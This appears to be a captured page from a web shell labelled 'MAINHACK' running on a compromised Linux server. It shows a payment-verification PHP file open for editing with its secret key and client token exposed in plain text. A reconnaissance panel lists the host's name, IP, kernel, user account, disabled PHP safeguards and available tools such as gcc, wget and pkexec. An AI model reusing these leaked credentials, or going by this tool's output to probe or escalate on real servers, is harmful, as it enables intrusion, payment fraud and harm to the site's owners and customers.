[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: verify_this.php
<?php header("Content-Type: application/json"); // Your keys $secret_key = "dXYiHBO7YhvKMtq/MDhLMHTEDwF6U0EcpMPe7jjLwWsej+t+L5FwvJ3u+OR84IIAu6w2QOp6bMghhVDQ6iJF+A=="; $Client_Token = "Cb1FP/Qi5dTSviC9Les9ckO+H7y/CJFBlL9gP7nnvTsb38V8rAmNCPtbxDXAnavgU9m4t6fy9JrECM1UmIhCig=="; // ✅ Get the exttrid from GET or POST $exttrid = $_GET['exttrid'] ?? $_POST['exttrid'] ?? null; if (!$exttrid) { echo json_encode(["error" => "Missing exttrid"]); exit; } // ✅ Prepare payload $payload = [ "exttrid" => $exttrid, ]; $payload_json = json_encode($payload, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE); // ✅ Generate signature $signature = hash_hmac('SHA256', $payload_json, $secret_key); $authorizationHeader = "Authorization: $Client_Token:$signature"; $headers = [ $authorizationHeader, "Content-Type: application/json" ]; $url = "https://orchard-api.anmgw.com/sendRequest"; $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_POSTFIELDS, $payload_json); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); $error = curl_error($ch); curl_close($ch); // ✅ Output full response for debugging if ($error) { echo json_encode(["curl_error" => $error]); exit; } // Try to decode JSON $data = json_decode($response, true); if ($data === null) { // Not JSON → output raw response echo json_encode([ "http_code" => $httpCode, "raw_response" => $response ]); } else { // Show decoded JSON and HTTP code echo json_encode([ "http_code" => $httpCode, "response" => $data ]); }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 60.07 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002